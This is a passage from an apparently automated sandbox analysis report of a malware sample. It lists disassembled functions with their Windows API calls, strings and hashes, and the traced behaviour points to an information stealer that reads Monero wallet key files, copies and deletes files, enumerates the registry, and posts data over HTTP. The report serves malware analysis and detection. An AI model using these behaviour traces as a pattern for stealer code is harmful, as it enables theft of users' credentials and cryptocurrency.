InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00A0584D
InternetCloseHandle.WININET(00000000), ref: 00A058B1
InternetCloseHandle.WININET(00000000), ref: 00A058BE
InternetCloseHandle.WININET(00000000), ref: 00A058C8

Strings

", xrefs: 00A055C4
------, xrefs: 00A053B7
", xrefs: 00A05706
--, xrefs: 00A05280
------, xrefs: 00A0563B
------, xrefs: 00A054F9
", xrefs: 00A05482
------, xrefs: 00A05297

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 6ee426068451f8fbf838127c10b098602432b29d3a35756d35b0b0de10db43bb
Instruction ID: 3b06caec962ed93783a0d7c07eb5145140875bd441d2ae3ac554da0e28974cb6
Opcode Fuzzy Hash: 6ee426068451f8fbf838127c10b098602432b29d3a35756d35b0b0de10db43bb
Instruction Fuzzy Hash: 69322376D21118ABDB14EBA0DE91FEEB378BF64710F404559F10662092EF706B8ACF52

Function 00A0A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A1AA70: StrCmpCA.SHLWAPI(010B91A8,00A0A7A7,?,00A0A7A7,010B91A8), ref: 00A1AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00A0AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00A0AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00A0ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A0A8B0

Part of subcall function 00A1A820: lstrlen.KERNEL32(00A04F05,?,?,00A04F05,00A20DDE), ref: 00A1A82B
Part of subcall function 00A1A820: lstrcpy.KERNEL32(00A20DDE,00000000), ref: 00A1A885

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

lstrcat.KERNEL32(?,00000000), ref: 00A0ACEB
lstrcat.KERNEL32(?,00A21320), ref: 00A0ACFA
lstrcat.KERNEL32(?,00000000), ref: 00A0AD0D
lstrcat.KERNEL32(?,00A21324), ref: 00A0AD1C
lstrcat.KERNEL32(?,00000000), ref: 00A0AD2F
lstrcat.KERNEL32(?,00A21328), ref: 00A0AD3E
lstrcat.KERNEL32(?,00000000), ref: 00A0AD51
lstrcat.KERNEL32(?,00A2132C), ref: 00A0AD60
lstrcat.KERNEL32(?,00000000), ref: 00A0AD73
lstrcat.KERNEL32(?,00A21330), ref: 00A0AD82
lstrcat.KERNEL32(?,00000000), ref: 00A0AD95
lstrcat.KERNEL32(?,00A21334), ref: 00A0ADA4
lstrcat.KERNEL32(?,00000000), ref: 00A0ADB7
lstrlen.KERNEL32(?), ref: 00A0AE0D
lstrlen.KERNEL32(?), ref: 00A0AE1C

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

DeleteFileA.KERNEL32(00000000), ref: 00A0AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00A0ABD4

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: db339f4121d219bdd3358205e8af65e1a94aaf1b5e4d93136694752e61a34568
Instruction ID: bedfb792446c86da1436e4475e87d792f8fa197b5a55ad3874554e391ffd13b1
Opcode Fuzzy Hash: db339f4121d219bdd3358205e8af65e1a94aaf1b5e4d93136694752e61a34568
Instruction Fuzzy Hash: AC122075951108ABDB04FBA0DE96EEE7379BF24310F504168F507A60D1DE34AE8ACB62

Function 00A05960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Part of subcall function 00A047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A04839
Part of subcall function 00A047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A04849

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00A059F8
StrCmpCA.SHLWAPI(?,010BE8C8), ref: 00A05A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A05B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,010BE8A8,00000000,?,010BA2A0,00000000,?,00A21A1C), ref: 00A05E71
lstrlen.KERNEL32(00000000), ref: 00A05E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00A05E93
RtlAllocateHeap.NTDLL(00000000), ref: 00A05E9A
lstrlen.KERNEL32(00000000), ref: 00A05EAF
lstrlen.KERNEL32(00000000), ref: 00A05ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00A05EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00A05F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00A05F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00A05F4C
InternetCloseHandle.WININET(00000000), ref: 00A05FB0
InternetCloseHandle.WININET(00000000), ref: 00A05FBD
HttpOpenRequestA.WININET(00000000,010BE888,?,010BDEA0,00000000,00000000,00400100,00000000), ref: 00A05BF8

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

InternetCloseHandle.WININET(00000000), ref: 00A05FC7

Strings

------, xrefs: 00A05A96
", xrefs: 00A05CD5
", xrefs: 00A05E16
------, xrefs: 00A05C0B
------, xrefs: 00A05D4C

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 021139df6dda07280d1d1b40dbeb28ca7ebbeac8fc1b2487bd80c6435ceac6e0
Instruction ID: c8e1e282391008017cf9ea21a28219484bd0c68e03ed7a4c9697dcb5464b9d62
Opcode Fuzzy Hash: 021139df6dda07280d1d1b40dbeb28ca7ebbeac8fc1b2487bd80c6435ceac6e0
Instruction Fuzzy Hash: 99123475961118ABDB15EBA0DE95FEEB378BF24710F4041A9F10662091EF702F8ACF61

Function 00A0CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A18B60: GetSystemTime.KERNEL32(00A20E1A,010BA690,00A205AE,?,?,00A013F9,?,0000001A,00A20E1A,00000000,?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A18B86

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A0CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00A0D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00A0D0CE
lstrcat.KERNEL32(?,00000000), ref: 00A0D208
lstrcat.KERNEL32(?,00A21478), ref: 00A0D217
lstrcat.KERNEL32(?,00000000), ref: 00A0D22A
lstrcat.KERNEL32(?,00A2147C), ref: 00A0D239
lstrcat.KERNEL32(?,00000000), ref: 00A0D24C
lstrcat.KERNEL32(?,00A21480), ref: 00A0D25B
lstrcat.KERNEL32(?,00000000), ref: 00A0D26E
lstrcat.KERNEL32(?,00A21484), ref: 00A0D27D
lstrcat.KERNEL32(?,00000000), ref: 00A0D290
lstrcat.KERNEL32(?,00A21488), ref: 00A0D29F
lstrcat.KERNEL32(?,00000000), ref: 00A0D2B2
lstrcat.KERNEL32(?,00A2148C), ref: 00A0D2C1
lstrcat.KERNEL32(?,00000000), ref: 00A0D2D4
lstrcat.KERNEL32(?,00A21490), ref: 00A0D2E3

Part of subcall function 00A1A820: lstrlen.KERNEL32(00A04F05,?,?,00A04F05,00A20DDE), ref: 00A1A82B
Part of subcall function 00A1A820: lstrcpy.KERNEL32(00A20DDE,00000000), ref: 00A1A885

lstrlen.KERNEL32(?), ref: 00A0D32A
lstrlen.KERNEL32(?), ref: 00A0D339

Part of subcall function 00A1AA70: StrCmpCA.SHLWAPI(010B91A8,00A0A7A7,?,00A0A7A7,010B91A8), ref: 00A1AA8F

DeleteFileA.KERNEL32(00000000), ref: 00A0D3B4

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 1032198e5877591af0ee08d028eff278278b9bef39beaa068a5e10145de3fb68
Instruction ID: 0290528da08df9ba93cde3408bdaff080bb5205b7257a3f39b9d8771a3d84bec
Opcode Fuzzy Hash: 1032198e5877591af0ee08d028eff278278b9bef39beaa068a5e10145de3fb68
Instruction Fuzzy Hash: 3EE13D76951108ABDB04FBA0DE96FEE7378BF24311F104158F507A6091DF35AE8ACB62

Function 00A04880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Part of subcall function 00A047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A04839
Part of subcall function 00A047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A04849

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00A04915
StrCmpCA.SHLWAPI(?,010BE8C8), ref: 00A0493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A04ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00A20DDB,00000000,?,?,00000000,?,",00000000,?,010BE798), ref: 00A04DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00A04E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00A04E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00A04E49
InternetCloseHandle.WININET(00000000), ref: 00A04EAD
InternetCloseHandle.WININET(00000000), ref: 00A04EC5
HttpOpenRequestA.WININET(00000000,010BE888,?,010BDEA0,00000000,00000000,00400100,00000000), ref: 00A04B15

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

InternetCloseHandle.WININET(00000000), ref: 00A04ECF

Strings

", xrefs: 00A04D33
", xrefs: 00A04BF2
------, xrefs: 00A04B28
------, xrefs: 00A04C69
------, xrefs: 00A049BD

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 3c273f9abf95aae95ad381a1d794b44b009e409f256b28518d2564dfce1b3a49
Instruction ID: dca1cafdb229fa2a8a80f15245cb7deaf25faefbc31d567d913607e616858387
Opcode Fuzzy Hash: 3c273f9abf95aae95ad381a1d794b44b009e409f256b28518d2564dfce1b3a49
Instruction Fuzzy Hash: E212F076911118AADB15EB90DE92FEEB378BF25310F5041A9F10662091DF702FCACF62

Function 00A18320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

RegOpenKeyExA.KERNEL32(00000000,010BB388,00000000,00020019,00000000,00A205B6), ref: 00A183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00A18426
wsprintfA.USER32 ref: 00A18459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00A1847B
RegCloseKey.ADVAPI32(00000000), ref: 00A1848C
RegCloseKey.ADVAPI32(00000000), ref: 00A18499

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Strings

- , xrefs: 00A185A3
%s\%s, xrefs: 00A1844D
?, xrefs: 00A1837A

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
